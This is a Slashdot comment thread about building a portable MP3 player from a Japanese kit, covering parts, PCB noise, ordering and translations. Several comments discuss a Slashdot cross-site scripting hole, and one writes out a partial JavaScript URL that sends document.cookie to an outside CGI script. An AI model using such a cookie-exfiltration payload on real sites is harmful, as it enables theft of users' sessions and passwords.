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Build Portable Mp3 Player 117

Greenpiece/Toasty writes: "Build your own portable MP3 player around 8000-9000 Yen. Uses 32 Megabyte flash media cards its the ultimate in geek. The link can be found here with circuit diagrams and pictures of the finished product. The kit can also be bought, but not from that page; another company is manufacturing it in Japan. The board seems quite easy to manufacture. "
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Build Portable Mp3 Player

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  • by Anonymous Coward
    This seems like a very professional attempt at making an MP3 player, but the cost of the equipment required to build the "Soundbastard" (nice name!) player worries me. While it is good that the Soundbastard comes complete with PCB masks (they even look well designed, with a ground plane loads of decoupling capacitors and everything!), the cost of PCB etching may be prohibitively expensive. PCB manufacturing equipment (UV light source, etching chemicals etc) cost a lot of money, and it is not worthwhile to buy them just to manufacture a single PCB. There are companies out there who will make small runs of PCBs if you supply the masks, but this costs money too.

    Then there's the cost of a PROM blower to write data to the GAL (Generic Array Logic - it's an EPROM type of technology, similar to the way data is stored by your PC's BIOS etc). PROM blowers are seriously expensive (several hundreds of dollars last time I looked).

    So while the Soundbastard looks like a really professional attempt and I applaud their effort and skill, I think that this is not a project for everyone. However, if you can get hold of equipment from your friendly local electronics geek or your high school/university then this may be a really interesting project to make.

  • by Anonymous Coward

    What about those low power FM transmitters? The kind you get with those CD changers that you don't have to wire up to your stereo, but tune to a certain frequency and listen to the CD. Does anyone know where to get those/how much they cost?
  • by Anonymous Coward
    Err. Here [], you mean.
  • by Anonymous Coward
    Could this problem (Noise) be fixed by patching in an n/r chip, like say Dolby or some shit?

    Patching "some shit" into the circuit will do nothing to reduce the noise, but may make your circuit smell bad :-)

    But seriously, this is a different sort of noise to normal audio noise. The noise exists intrinsically in the Veroboard circuit (due to uneccessarily long copper tracks picking up radio frequency signals, noise on the power and ground lines, parasitic capacticance etc). Your Dolby chip would be subjected to the same noise as the rest of the circuit and so wouldn't help much, and may even make things worse. (Dolby is horrible anyway, it really spoils the vibrancy of a recording IMHO.) Good circuit design and construction is your only hope to reduce noise.

  • by Anonymous Coward
    Sure, I know that memory is solid state, no skipping etc. Personally though, I'd much rather have a player with a nice 10 gig or so laptop hard disk in it.

    Sure, it'd be more expensive that 32 mb ram, and it'd be more fragile - but I'm not trying to make a ToughPlayer(tm).

  • Forgive me if this has been posted previously and I seem to have missed it (no flames please!).

    But does anyone know of a site that just lists the parts I could buy at say Radio Shack or somewhere similiar and also has the schemata/instructions for it? (My soldering/machine assembly skills have declined since the last time I had to pull out the old Odyssey II and repair it for use).
  • I use slashdot's file not found page (which tells you the filename that was not found) to return a script tag back to your client.
  • If you're using Netscape with JavaScript, this page [] should help you (and me, if I had a motive to do so) remember your slashdot password.
  • by Samus ( 1382 )
    Will it fit in an Altoid tin? If so this might be a great use for them.

    "What are the three words guaranteed to humiliate men everywhere?
  • Ummm... Isn't dolby a noise reduction method which requires a specific Dolby encoding method? It isn't just a filter, IIRC -- it is some fancy-schmancy encoding scheme that allows encoded music to be played without the decode, but allows playback through Dolby-licensed processing to be better.

  • Heh, I've got one too...and I might consider building this, if only:

    1.) it's less sensitive to shock
    2.) (related to 1) less likely to crap out randomly (I've heard from others w/this problem)
    3.) if there's any alternative to using SmartMedia cards
  • That's pretty similar to my system, I prefer to mentally divide by 100 or move the decimal place over two places.
  • Yeah, but you aren't going to get away with soldering this with any soldering iron from radio shack.
  • What's wrong with SmartMedia? At least it's a replacable medium.
  • Looks pretty painful to build to me. And easy to accidentally connect 2 or 3 pins to the same pad.
  • Per the USB Faq [], USB cables can be up to 5 meters for full-speed USB devices.

    There's an IDE to USB [] adapter that would let you use your existing CDROM.

  • The kit version of the "Hoe-Hoe AMP" has been released from Wakamatsu Tsusho []. For more information on the MP3 player kit, please contact to [mailto].
    BeDevId 15453 - Download BeOS R5 Lite [] free!
  • I'm afraid I don't see all that much value to this; to have yet another Diamond Rio clone just doesn't seem all that valuable.

    Well, this is the first design I have seen and I like it for one reason. It gives me a starting point.

    In my work, especially my hobby stuff, I feel like people will accuse me of working for a Japanese conglomerate in that I am really go at taking someone else's stuff and getting what I need, but not inventing it on my own.

    So, a design like this gives me a start on my own portable that meets my requirements. That is worthwhile. While it may be nothing more than a Rio clone, I do not have Rio schematics. I have schematics for this and the basic problem solved.

    Plus, building it might be just plain fun.


  • cram it into an empty smoke pack, or can of Spam

    While reading the article, I was imagining using an empty Penguin Mints tin for the case. I've got a ton of 'em lying around.

  • Hah! I knew about this thing over a week ago.

    The shop does have a URL, and I've put it in at the bottom of this post, but it ain't gonna do you any good for two reasons:

    1) You almost have to be able to order in Japanese (AFAIK, Wakamatsu doesn't take orders in English).

    2) These kits are back-ordered for more than a month in advance; good luck at actually getting your hands on one.

    I'll probably drop by the store (it's in the Akihabara district of Tokyo) either tomorrow or the day after, but it looks pretty hopeless.

    OK, here's the URL: CL ICK HERE []
    (Be warned, the above link is in Japanese.)

  • Since some people have been asking for a translation of the page, here you go:

    Construction kits

    Product number: 9301001000239
    Maker: Wakamatsu Tsusho
    Product name/model: WAKA-MP3 Ver1.1
    Notes: A kit to build your own pocket-size MP3 player. We are very sorry, but any orders made at the present time cannot be filled for more than one month.
    Price: 9800 yen

    A kit to build an MP3 player for leading-edge digital audio.
    We're proud of the fact that it sounds better than prebuilt products from corporate manufacturers.
    By using a new deice, it can be run on one AA (AAA) battery.

    MP3 decoder (MAS3507D)
    D/A converter (DAC3550A)
    MCU (AT90S8515)
    Printed circuit board (84x64mm)
    Smartmedia socket
    A complete kit that includes MCU firmware and programming tools for PCs.

    To build this kit, you will need an AT-compatible PC, a tester, a narrow-pointed soldering iron, tweezers and solderwick. It is aimed at people who have experience with embedded MPU (PICs, etc.) devices, and who can handle soldering (technical term for parts that are soldered directly to the circuit board - can't remember the English term, dammit) parts.

    PLEASE NOTE: The photograph is only an assembled example. ( larger photo is available here [].
    The Smartmedia, battery, headphones and case are not included.

    [I've editied out some pointless stuff here]

    Because of demand, shipping is behind schedule.
    Any orders received at the present time will take more than a month to ship.
    We apologize for the inconvenience.

    We will provide estimates for completed kits, modules, etc., depending on the amount required.

    [That's about it. The text box at the bottom is for the number of kits you want to order.]
  • I havent studied the design, but a casual glance suggests the actual decode is done by a chip, the pic is merely controlling it and the user interface.
  • I love this cover. If they had a page to buy the finished product as show in the photo I'd probably grab one. Anyone know where they got the image or if they can do customized images? Anime rocks. :)
  • Well said!
    I was dismayed when I saw the 'why bother' responses
    to what is IMHO one of the coolest projects I've seen lately.

    Seems like lately money and market share, rather
    than hacking, has ruled /., which I find both boring and disappointing.


  • I want that one just because it has Sakura Kinomoto from Card Captor Sakura on it!


    (I'm a sucker for cute...)

    Also noticed that they had some Megumi Hayashibara and Kikuko Inoue songs on their playlist (the monitor picture). They not only made an MP3 player, they actually use it for good music! ^_^)

  • I am no electronics freak, and I have no desire to build an MP3 player, even if it was cheap to do it.

    What I do want is a portable player that can play mp3s from a cd - or from some other cheap and spacious media.

    If I wanted a device that uses a media that can only hold 10 songs, I'd buy a regular CD player.

  • A Japanese friend of mine translated the Wakamatsu [] site that is selling the kits. It seems that they are back-ordered now and won't have any for at least a month.

    Good news - they take Visa and Mastercard, bad news - there is no mention about shipping outside of Japan anywhere on their site. They list shipping costs for delivery inside Japan, but unless you speak Japanese and ask REALLY nicely (not to mention pay through the nose for shipping) you aren't going to be able to order the kit any time soon.

  • Can anyone say from the diagrams if it actually makes sense, and is doable? I wouldn't mind building one of those during vacation, but can i find instructionon what the each piece does? I'd like to know what the [MCU], [DAC], and [DSP] actually do, and if i have to program them somehow.

  • by rawg ( 23000 )
    My wife had a Rio, until it broke.. Only took a month to bust it. I think that I'd like to build one that wont get smashed so easy. I'm down with getting this kit and building it into a rubber type case. Skateboarding is bad for audio devices.
  • As just another geek posting to a site populated by geeks, I just wanted to ask the question: When do you think we are going to see a proliferation of devices for mp3 playback?
    There are several on the market currently but I have yet to find one that would make me want to go out and buy it.
    The only thing keeping me from going out and building my own is my meager electronics skills and the fact that I wouldn't have a warranty. I wonder if this creation will cause a 'cottage industry' utilizing the 'net for distribution.
    I think I just came up with my first million dollar idea.
  • Gotta love Japanese English sites! It's even in Engrish!
  • I still hasn't really figured out how this hack work, but as far as I can tell it is both faults. At least Slashdot should secure its cookies :
    - store the login into the cookie string
    - append the hashed password to the string
    - append the client IP to the string
    - append an expiration time (makes user session mortal)
    - append a hash result of the previous string with a secret key (known only from Slashdot). This "sign" the cookie and ensure Slashdot is the original author of it
    - crypt the whole string (just to be 100% safe)

    Unfortunately there are few site with such high level of security...
  • talking out of my ass (a great trick at parties) isn't this a different type of noise? Ok, so we see oscillations in the digital pulses, but since we're in the digital world, that's ok, no? I mean as long as the noise is below the theshold of the signal it does no harm?

    The only analog part of the entire design is chip outs 5 and 7 from the DAC and those go directly (well, via some resistors, but still fairly directly) to the headphones. (NB: volume is apparently performed on the digital data stream, and not as a post processing step by the DAC -- although I could be misinterpreting the pins on the dac)

    Mind you, he did mention that he had high THD, which might be due using the veroboard.

    Or have I misunderstood everything (IANAEE (electrical engineer)).

  • Man... makes me wish that I still had those beta Western Digital removable 1 & 1.5 gig hard drives...

    they were nice, but never made it to the public.

    thinner (height), but wider than a standard 2.5" floppy. Too bad i got pissed and decided to put the one in a tree, and accidently pull the other one out during a write operation....
  • what's my password?

  • damn, crappy security models suck.
  • Well, if you ask Timberland they probably are...

    My old school logo looked pretty similar to the Timberland logo, tree and lines under. Timberland sued us and won. So now we have a new logo. How there could possibly be confusion between a school and Timberland is anyone's guess.

  • If you are looking for cheaper alternative to commercial MP3 player, this is not for you.

    But this guy is serious hardware/software hacker. Look at his site in English.

    He has many FSW (Free Softwares). Though, FSW in Japanese tends to mean not-GPL but free-to-use. But most of these FSW auther opens source code and if asked with reasonable tone, they agree to GPL. Japanese FSW sometimes tends to imply non-commercial use only but usually not explicit enough to prevent modified version used for commercial use. Also sometimes restrictive about modification in fear of distribution of virus-contaminated software to disgrage original author.

    WAKAMATSU is a small shop in Tokyo-Akihabara where they sell kits. These kits are usually just parts with generic PC board (Sometimes no specific pattern and you are required to connect parts running thin wires in between).

    Complete circuit is posed. c1.gif

    If you are in US, you will have easier time to get parts by your self and those IC's from device manufactures as sample for free or minimul cost. Tough part is getting small quantities os special socket etc.

    Nice thing about Wakamatsu is they have detailed circuits and all small parts and socket in one package. But not much more. Some of the kit I did required QFP 1.0 mm pitch hand soldering to PC board. Not for faint hearted.

    Anyway, his bootloader seems to have nice Japanese-Anime chick photo. Maybe not politically correct in US but typically geeky japanese stuff. Check it out.

  • I have one of these since my cassette player is broken.

    I got mine (not good quality, but audio wise my cds still sound better than fm radio) for about US$15 at Fry's (an electronics supermarket in California, mostly).

    Runs on 2 AA batteries.

  • Indeed, I chuckled reading about MP3 complession.
  • Those FM transmitters come in two varieties:good and versatile. The good ones work by having you run your car's antenna through it, and then it just modulates the signal directly onto the antenna. Because there is no real transmission, these are wide band (don't need to tune them).

    The other kind is the versatile but cheap kind. These either run on AAs or plug into a cig lighter. PLug it into the headphone jack on your discman, and viola! A low power FM transmitter. Just tune your radio to the right frequency, and then fine tune the transmitter. These are very narrow band, so changes in air density will affect your transmission enough for you to need to retune every time you use it.

    The Good kind is $50 from PartsExpress (don't remember the exact url for the item). The other kind is about $15 from lots of places (Fry's Radioshack, Best Buy, etc).

  • I'm doing this myself, and considering the bargain I got on my laptop, you really can't beat it. I picked up a bunch of 1.3 GB removable drives super cheap on e-bay, so for under $500 with the laptop, removable drives, and convertors I have an MP3 player/laptop built for my car. I still think cheap laptops, despite their size, make the best protable MP3 players.

    "No food or beverage in computer lab". Hmm. I think they mean to say "Don't Spill".
  • Of course the other downside, if the web site is in japanese, I imagine the instructions are too, and without instructions the chances of me understanding the schematic well enough to duplicate it are nill
  • at today's rate [], anyhow.


  • Is there a digital camera out yet which can use it's compact flash card for MP3's???

    It seems like such an OBVIOUS perfect match.

  • []
    Seems like what you're asking for.
  • Two important details the original "translator" forgot to mention:

    1. WARNING: The picture is an example of the product (Implying that what you actually recieve might be different).

    2.Due to the popularity of this kit the date of delivery will be more than a month from when you place your order.

    There is also some interesting commentary on the possible uses of the kit and a mention that smart media, batteries, headphones and the case are all not included.
    Have a good night. Feel free to email me at if you need J->E translations in the future (especially technical translation).
  • Looks simple enough even I could build it.
    (and I have two left paws - I also have two right paws...think about it)
    I won't, though. My time is too vaulable a comodity at the moment, it'd cost me less to work an extra hour and then buy a Rio clone off E-Bay.

    On the other hand, 20 years ago I'd be headed over to Nutron Electronics with a shopping list. (which is exactly how my time got so valuable in the first place)

  • ya koreans are pretty fond of things that somewhat encourage piracy ;)
    btw, did you ever make it to the technomart while you were in seoul? 8 floors of electronic gadgets, mmm...they have some mp3 players there too, along with pirate psx cds and the like.
    btw, i keep trying to find the electronics discrict but can't find out which subway line leads there. could you give me directions from, say, seoul station or dongdaemun?
  • did you know that on a microwave you can input the time as 90 seconds rather than 1:30, hence saving you a keystroke.
  • When I was recently in Korea, I was at a specialised MP3 player shop in the middle of the electronics district in Seoul. MP3 players are REALLY big there. They had all kinds including little tiny ones (about 3cm x 3cm x 2cm) on keyrings! I came across an MP3 player that was shaped exactly like an audio cassette, and I'm almost certain that it had the same function as those discman-car casstte adaptors.

    In this case, I'm pretty sure you actually put the MP3 player itself right into the cassette player! I think the turning of the rotors in the cassette player triggered the player to start playing. Of course the player also had a headphone jack, and little embedded buttons to use just as a walkman type device.

    Awesome stuff.
  • Well, actually while I was there I was too amazed by all the amazing gadgetry everywhere that I didn't take any notice of how I got there or what it was called (though I have a faint recollection it was called 'yong san'). I was taken there by some locals too, so I didn't have to figure out how to get there myself.

    From the way you're talking, it sounds like you're in Seoul now, so maybe thse photos I took will help you:

  • This borders on redundant and OT, but I agree. Slashdot does need more articles like this. Great article!

    I have built my own home and car mp3 players from older computer parts scrapped by the company I work for. I've built them out of a pentium 75 and 120. Got 'em in a metal box about the size of a car amp, and have in fact attached the car mp3 player to the amp in my car. IRman plus a bit of cabling gives me remote control. Now all I have to do is figure out how to get input to my player from an IDE cdrom drive which out of necessity will be about 4.5 feet away. (a Pioneer slot-load cdrom.) For now I just stick an IDE hard drive in the thing.

    Anybody got any ideas here?

  • Ahh, having different options is such a great thing!

    Exactly one year ago, the German computer magazin c't featured a Do-It-Yourself-MP3-Player, developed by some students from the university of Aachen. More info can be found here [], but it's in German.

  • I want one. Is it finished and does it work well? does he have more info and pictures that whats on his webpage? Can he make me one?
  • It's building and making the player work correctly that is the fun part. I can go to any store and buy a mp3 player (any size too) but that's not the point.

    I wish HeathKit was still around, my Amp from them still works. Oh, well, maybe I could tweak the balance a bit, but it works and was fun to build. -d

  • Now that took the fun out it.

    1) buy Radio Shack soldering iron.

    2) ZAP chip with cheap .45 cal tip.

    3) realize that soldering irons that are too hot and conduct a charge killed the chip.

    4) start over with proper tools. -d

  • How do you decode mp3's with a pic? Which pic? I thought pics only went up to about 20Mips, which is (afaik) rather slow for decoding. Or have you got a dsp to do the maths?

    Peter Allen
  • For power, an adaptor from car-DC to computer-AC is not terribly expensive.

    Ironic that he's converting DC to AC to DC. It'd be more elegant to just condition the DC, but I don't know of any cheaper way to do it than with a cheapie PC power supply. *sigh*

  • eeep. I'm changing my password now.

    If you go here:

    It sends you here:'http:// g.cgi?'+unescape(document.cookie.replace(/25/g,'') )

    Which then shows you your usernum and password
  • You do realize that buying it second hand negates the warranty?
  • If you want to compare it to shelling out $X for a product designed, programmed, built and put into a shiny package, then no, something like this won't appeal to you. On the other hand, if you're into learning how to work with SmartMedia memory, integrate MP3 chips and program a microcontroller, and if you're into the pride of saying "I built this and here's how you can do the same", then this is WAY COOL.
  • IANAL, but I think Diamond Rio [] the country band and Diamond Rio [] the MPEG audio player might collide in the trademark namespace. Are brands of music and brands of music equipment separate namespaces?
  • Great! Can you share your experiences with the player? Can it play 'normal' CD's? Is the LCD big enough to fit the song titles? Does it skip/fast forward/loop? Can you fast forward within a song, or only between songs? What is it about recording, does it record into memory from a microphone? Do batteries really last 6 hours? How is the recharger? How big is it, is there a carrier bag? Is it heavy? Who makes it? Any problems with any CDs?

    email me at

  • ate=kit

    This reads:

    ManufacturerMerchandise nameRemarksPriceStockQuanityPurchase
    Young Pine Tree TradeWAKA-MP3 Ver1.1Kit to build your own MP3 player.9,800 small amountAmount to buyAdd to cart image ead=1&detail_kit_930100100023939

    This reads

    Model number, 9301001000239
    Manufacture's name, Young Pine Tree Trade
    Merchandise name
    WAKA-MP3, Ver1.1
    Cost: 9,800yen
    ....too much for my rusty Japanese
    MP3 decoder, MAS3507D
    DA conveter, DAC3550A
    MCU AT90S8515
    Size 84x64mm
    Play, Pause, Next, Prev, Stop
    MCU can communicate with a PC by...
    Memory Kits, 64MB, 32MB, 16MB, 8MB
    I hope this helps.

  • The other exchange rate:
    Informative = +4 Karma
    Bad Pun = -2 Karma

    Total = +2 Karma...


  • I know of two big problems with using hard drives for this kind of application.

    1. Power consumption
      (I think that) Hard drives use more power than RAM-esque storage. More power use -> less battery life -> less play time -> less fun.
    2. Vibrations
      They're much better than they used to be, but hard drives are still not suited for shaky environments. Think how much shaking the unit would get in your pocket as you walk? Try stairs or jogging.

    I think people want their music to be very portable, so it will have to last a long time and take a beating.

    Dammit, my mom is not a Karma whore!

  • oh god, NO MORE sakura-chan! I've seen way too much of that for my own good. KENSHIN!
  • Or, here [], even.

    Use the preview button, Luke.

  • by Anonymous Coward
    Looking at the photo of one of these MP3 players on the website horrified me - the MP3 player has been built using Veroboard. For those of you not familiar with electronics, Veroboard is a multi-purpose circuit board with pre-drilled holes and ready-made copper tracks which you hack apart to suit your particular circuit design. This is OK for prototyping a circuit, but circuits built using Veroboard tend to be intrinsically noisy. Obviously, this noise is a Bad Thing if you want half-decent audio quality

    I hope that the MP3 player kit comes complete with a properly fabricated and well designed printed circuit board. Of course, you can always design your own PCB using shareware software (I don't know if there is any GPL'ed stuff to do PCB design), but it takes a fair bit of skill to do a good PCB design and you'll need to know someone who can etch the PCB for you. PCB etching equipment isn't cheap!

    But all this talk of MP3 players and electronics is pretty dull. I'm far more excited that Stone Cold Steve Austin is back at the WWF Pay Per View this Sunday. Austin 3:16 is back, I can't wait! Oh, man!

  • is this from your referral log?
    something like: PASSWORD&unickname=NICKNAME

    If so, it does say that this method of logging in is *very* insecure.
  • are perfectly positioned to make kits like this available, I think.

    It'd rock.

    I'm off to spec out components.

  • Anyone see it? Can orders be placed?

    I want to build this thing, but it'd be nice if the company that's making the kit had a URL...
  • Are you sure that this board will eliminate that control? In more than the short term?

    It sure looks like the overall set of hardware is the same set that the vendors of all the MP3 players are using.

    It seems likely to me that this is not merely "similar" hardware, but really is the same hardware. And if that be the case, once the MPAA foists "copy control clients" on the industry, those clients will be happy to update the "firmware" on the MP3 players, whether they're boxed units from Sony or Panasonic, or a custom job that you built yourself.

    Not that it'shoul affect my Diamond Rio; I use the open source "SnowBlind Alliance" interface software, and merely upload files.

  • Sure, it might be more economical for those people who charge by the hour for their services to just go buy one... But this little project looks like it would be fun to do!
  • The ballpark rule that I use is that a yen is more or less equivalent to a US penny.

    That will get you in the range within a few dollars.
  • Dear "Holier than thou",

    Part of "Hack Value" is creating something that either isn't available elsewhere, or being able to put something together for far less than buying it at the shops. It's not about re-inventing the wheel. If you just want to say that you built it with your own hands you're not a hacker, you're an enthusiest. Same thing if you're just putting together something that's a slightly higher quality.

    Now, if you take a cheap old Rio and solder in 128MB of RAM that you salvaged from something else cheaply, you're a hacker.

  • First off, I'd like to say this is an old page :) I've seen it before, but hey, whatever, I'm not complaining.

    CompactFlash is much easier to handle than SmartMedia... I'm the kind of person that scratches CDs easily, and I'd be scared to have those (relatively) delicate SmartMedia cards. Can anyone here adapt this hack ("hack this hack"?) to be able to use CompactFlash? Plus, there are more applications for CompactFlash (The TRGPro [] for example) that would offset the cost of an IBM MicroDrive.

    Could this control a Hard drive as well? It'd be nice to be able to make your own EMPEG [] type device.. Throw on your own LCD and one of these monsters [] and you're set. 75 Gigs of MP3 storage. Is there a better way to do this than with these schematics?

  • Then don't build one.

    Go buy a rio, with solidly soldered circuit boards hidden away beneath a nice shiny black case; a mass-produced masterpiece designed by some faceless intrepid entity toiling away in a forgotten corporate cubicle. You will gain an excellent warranty, a pretty cardboard box, and a nice pair of cheap earphones in the process.

    But if you take as much joy from the melting of metal as you do from the music itself, if you dream of harnassing the secrets of the universe for your own personal pleasure, then this kind of thing is the only option. Nothing my mother can buy at Wal-Mart will be as exciting or as interesting as something I piece together out of scraps of metal, a broken Walkman and a radio shack chip.

    I had no interest whatsoever in portable mp3 players until building my own became a possibility. I don't yet have the skill to design one of these myself- but I can solder, and I think I can read a schematic well enough to put this thing together. I can probably even modify this to do other neat things- and in doing that, I will learn a great deal.

    Or maybe you already know everything there is to know about electrical engineering. Maybe you can design one of these in your sleep, and that is why this doesn't excite you. If that's the case, do it. And then put up a web page and show me how- cuz I am excited.

    Rev Neh
  • Works in IE 5 as well.. Damn, that's uncool..
  • Hoeee! n.n

    Damn straight :) When I saw Sakura on there my eyes bulged out :) I don't give a rat's ass about the technical merits of this thing, the look is enough for me to get it. I emailed the guy asking him if he'd make one for me for a profit.
  • Obviously you Don't Get It. So give your money to somebody else and don't worry about it. Let the people that want to hack a cool embedded system have some fun.

    IMnsHO, I'll learn more than the ~$50-100 dollars I'll save over buying a ready-made MP3 player and that's more than a fair tradeoff.

    I reckon we all should have just used existing computers and operating systems 'cuz they're just another clone that provide the same functionality.

  • This would be great, if it could be made to use a Compactflash Type II adapter instead.

    Why do I care? Well, because, I don't see IBM being able to squeeze their 340 MB Microdrive [] into a Smartmedia form factor anytime soon.

    Other than that, what a cool project! This is the stuff Slashdot outta have more of!

  • How can I purchase a single MAS3507D chip in the United States? says that is their North American reseller, but it also says that their resellers only sell in quantities of at least 50. The site also said that sells smaller quantities of the chip in Europe, but I can't find anyone who sells smaller quantities in the US. -Paolo, paolo0 at yahoo dot com
  • I'm about to start building my own car computer/stereo, and I really feel as though I must have something more flexible than a hardware MPEG decoder. For example, I am very excited about Vorbis OGG, and plan to use and support it heavily if it does turn out to be better than MP3. Why should I build a player that saves me a few $$, only to have to replace parts later when a newer, better encoding standard arrives?

    I'm starting out with an M590 motherboard from PCWare. True, PCWare doesn't make the highest quality mobos in the world, but my experience is that if you get one that works, it tends to keep working. This mobo has onboard sound and video (linux supported!), and so will allow me to place it in a relatively flat case (no cards to worry about). My friend has developed a library to interface with 3-line text LCDs, so that they can display menus while selecting and audio meters while playing; it's open source (all of his stuff is), and you can find it at

    I was originally thinking of using hard disk storage to avoid swapping media all the time, but since hard disks of sufficient durability are not available at a reasonable size/price ration, I'm going with a CD-ROM for now. One CD-R will hold FAR more than a Rio...I can put Linux on a small solid-state hard disk, and I'm set! For power, an adaptor from car-DC to computer-AC is not terribly expensive.
  • You know what would be really cool, if I could get somewhere a good design and instructions to rebuild one of those CD players into an MP3 CD player. I want one, I want one BAD. Everyone promisses one and NOBODY delivers. :(
  • First of all, nuts to those who do the "I'm first" crap. Secondly, this looks like a very do-able project. While it may be even more geek to design your own board and program your own controller/processor, this looks accessible to the less esoteric among us.
  • Sure, you can get a Rio for 100 Bucks at an auction site, but where is the fun in that.

    Building this seems like a great project. I am gonna give this one a go!. I am gonna try to tweak the case design though (see if I can't cram it into an empty smoke pack, or can of Spam) That would rock eh? the Spam Brand MP3 Player? Hey, If you can get a Linux Server in a Pizza Box, then why not a Spam MP3 Player!

    If anyone knows of any similar projects, I'd sure like to know (click here to mail me) [mailto]

    Lotteries are a tax for people who suck at math.
  • I'm afraid I don't see all that much value to this; to have yet another Diamond Rio clone just doesn't seem all that valuable.

    (Is it me, or do others detect a "glut" of designs that are almost identical to the Rio?)

    I don't see much point in having to integrate my own "Rio" when it provides no more functionality.

    If the design provided some reasonable way of storing 1GB of data, cheaply, that sure would be interesting.

    But another "me too!" design integrating together a synthesizer, some simple CPU/DSP, parallel interface, and a 32MB chunk of "flash" memory just does not excite.

  • by tzanger ( 1575 ) on Friday April 28, 2000 @05:08PM (#1103431) Homepage

    There is absolutely nothing wrong with using veroboard for a prototype, or even for a finished design! Keep your decoupling caps very close (on top or under if you can) and keep the DAC and amp far away from the DSP and processor and you'll be fine.

    As someone who's built lots of low-noise (0.1mV sensitivity) and/or medium speed (40MHz) equipment on protoboard first, I know what I'm talking about. You can always throw copper shield up around the sensitive components and keep the power supplies clean with carefully selected bypass caps and even lowish resistances. Or get fancy and use ferrite.

    If it is true veroboard (with tracks, as opposed to the board-only stuff I like), you can just rip off the copper you don't need and down goes all your sensitivity issues. True you haven't got a ground plane but if you can keep everything encased in grounded metal sheild you're flying high.

  • Cheapest ive seen (like on ebay) is around $400, is that cheap then? Because I dont have that :)

    $mrp=~s/mrp/elite god/g;
  • by Brew Bird ( 59050 ) on Friday April 28, 2000 @10:02AM (#1103433)
    You can get the same thing, with a warrenty for about the same price... It's called a 'Rio' :>

    Picked mine up at an online auction site for about $50...
    They always have a buttload of em.
  • by dimator ( 71399 ) on Friday April 28, 2000 @12:58PM (#1103434) Homepage Journal
    I prefer a variant of your method, sir. I like dividing by 10 first. Then I only have to move the decimal over 1 place, saving me some time and effort!

    "And is the Tao in the DOS for a personal computer?"
  • by Hal_9000@!!!@ ( 152225 ) <> on Friday April 28, 2000 @11:13AM (#1103435) Homepage Journal
    A MP3 player kit can be bought here [] with details here [] from the company Wakamat Su. Note: The page is in Japanese, but you can feel your way around and get the gist. Can someone translate?

  • by c.r.o.c.o ( 123083 ) on Friday April 28, 2000 @10:07AM (#1103436)
    Well, not exactly the cheapest, but for what it offers, it's amazing...

    My car came with a pretty good casette player, so I didn't want to replace it. Instead, I got a casette adapter from Future Shop, that plugs into the line out of any cd player/sound card. I also bought a lighter power adapter for my old Thinkpad laptop.

    The total cost for the adapters and laptop was around $600CAD, which is pretty steep. But I get to play mp3s in my car off my mp3 cds, and have a laptop that is usefull for something other than just that.

    So IMHO, this is the best solution to having a car mp3 player. Feel free to disagree though... :P

  • by FascDot Killed My Pr ( 24021 ) on Friday April 28, 2000 @09:58AM (#1103437)
    For those of us who don't have a yen for learning exchange rates (ha ha):

    Today 108 yen = 1 USD.

    So 8000-9000 yen = $74-$83
    Have Exchange users? Want to run Linux? Can't afford OpenMail?
  • by Tackhead ( 54550 ) on Friday April 28, 2000 @10:03AM (#1103438)
    Another group working on GPL'd hardware, firmware, and software design can be found here:

    Soundbastard []

  • by neutron42 ( 91434 ) on Friday April 28, 2000 @11:03AM (#1103439)
    "Oh, YARC (Yet Another Rio Clone)."

    "Oh, I can get a Rio for the same amount."

    Pah. A pox on you and your like. Whatever happened to pure HACK VALUE? Sorry, but building the equivalent of a commercial machine for fun is neat, fun, and educational.

    Go buy your little Rio and leave the real hackers be.


An elephant is a mouse with an operating system.